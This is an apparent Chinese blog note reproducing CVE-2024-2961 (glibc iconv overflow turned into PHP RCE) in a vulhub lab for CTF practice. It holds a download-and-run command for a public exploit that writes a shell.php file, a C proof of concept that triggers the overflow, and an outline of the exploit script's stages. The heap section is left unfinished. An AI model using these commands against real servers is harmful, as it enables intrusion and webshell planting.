前言
复现环境:https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/
参考:
https://www.bilibili.com/video/BV1kY8zeUEPr
https://mp.weixin.qq.com/s/zcokg-eNjkNpxJZwFm0Zyg
先挂起,必可活用于某次ctf((
2024.7.6:于ctfshow XGCTF 和 春秋杯夏季赛 中出现了相关题目
2024.8.30:于 羊城杯 中出现了相关题目
PHP利用GNU C Iconv将文件读取变成RCE
GNU C 是一个标准的ISO C依赖库。在GNU C中,
iconv()
函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()
的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。
原文:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
条件:
- glibc版本更新时间在2024/4/17之前
- php版本在7.0.0-8.3.7,支持任何php应用程序,如wordpress
- 支持data伪协议,filter伪协议,支持 filter 中 zlib.inflate 过滤器及这三个方法的任意文件读取权限
- 有效载荷小于1000字节
- 不需要发送其它额外的参数
PHP的每个标准文件读取接收器都受到影响:file_get_contents()
、file()
、readfile()
、fgets()
、getimagesize()
、SplFileObject->read()
、hash_file
等
文件写入也受到影响:file_put_contents()
等
环境搭建
把复现环境git下来
然后起docker,docker-compose.yml里面已经帮我们写好了以iconv 2.36作为依赖,index.php是一个file_get_contents
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
docker compose up -d
然后访问http://127.0.0.1:8080/index.php
,传入file参数就能读取文件
复现
exp:https://github.com/ambionics/cnext-exploits
注:需要在linux环境,python3.10下运行此exp,同时需要安装对应依赖
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
下载poc并运行:
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python3 cnext-exploit.py http://localhost:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
然后就会发现成功写入文件了
原理
echo file_get_contents($_GET['file']);
既然是在php文件读取上出现的问题,那么我们第一个想到的就是php的各种伪协议,以及和字符变换iconv
有关的filterchain
同样的这个洞也是和 iconv 有关的
iconv() API
一般情况下,每个 char 类型的字符占一个字节,但是在iconv
编码转义的时候则可能转义为多个字节,不过这依旧是在缓冲区预期之内的
当PHP从一个字符集转换到另一个字符集时,它使用 iconv,这是一个用于“使用转换描述符将输入缓冲区中的字符转换为输出缓冲区”的API。在Linux系统上,这个API由 glibc
实现
API非常简单。首先,打开一个转换描述符,该描述符指定了输入和输出字符集
iconv_t iconv_open(const char *tocode, const char *fromcode);
然后,使用iconv()
将输入缓冲区inbuf
转换为输出缓冲区outbuf
中的新字符集
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);
如果输出缓冲区不够大,iconv()
将返回一个错误指示此情况,可以通过重新分配 outbuf
并再次调用 iconv()
来继续转换。
该函数保证的是,它永远不会从 inbuf
读取超过 inbytesleft
字节的数据,或向 outbuf
写入超过 outbytesleft
字节的数据(真的吗?)
转换为 ISO-2022-CN-EXT 时出现越界写入
在将数据转换为 ISO-2022-CN-EXT 字符集时,iconv
可能在写入输出缓冲区之前未能检查是否有足够的空间剩余
看一下 iconv 对 ISO-2022-CN-EXT 的处理
// iconvdata/iso-2022-cn-ext.c
/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;
if (outptr + 4 > outend) // <-------------------- 检查点
{
result = __GCONV_FULL_OUTPUT;
break;
}
assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;
// <-------------------- 无检查点
assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;
// <-------------------- 无检查点
assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
}
每个块向outbuf
(由outptr
指向)写入不同的转义序列。
在第一个if[1]
里,前面有一个额外的if()
块来检查输出缓冲区是否足够大以容纳四个字符。
而其他两个if[2][3]
则没有对 outptr 进行检查。因此,转义序列可能会越界写入。
通常情况下,我们尝试转义AAAAA啊
这样子的字符串的时候,结果如下
但是特别的,利用如: 劄
、 䂚
或 峛
、湿
这种字符,在iconv()
转义时会导致1到3字节的溢出:
$*H [24 2A 48]
$+I [24 2B 49]
$+J [24 2B 4A]
$+K [24 2B 4B]
$+L [24 2B 4C]
$+M [24 2B 4D]
验证这个溢出问题的poc:
/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("\n");
}
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}
结果如下:
尽管告诉 iconv() 最多只能写入8字节,但实际上已写入了9字节(劄
的原始字节为\xe5\x8a\x84
,转义后变成了\x1b\x24\x2a\x48
,多出了最后的 0x48)
既然能实现缓冲区溢出,那就有rce的可能
现在能造成溢出了,但是从溢出到命令执行之间还需要想办法获取系统命令的地址
PHP堆的工作基本原理
啊啊先写到这里,没二进制基础感觉看不懂了
exp分析
核心部分就在run
方法这里:
def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
check_vulnerable
方法仅用于检测相关的 wrapper 是否可用,需要获取完整的回显,如果回显经过了 aes 或者 md5 之类的加密则这个检测方法不可用
get_symbols_and_addresses
是用来获取 /proc/self/maps 和 libc.so.6 的,如果是在回显加密的情况下需要我们手动用其它方法dump对应的文件
exploit
方法就是pwn了
因此第一步的 check_vulnerable 不是必须的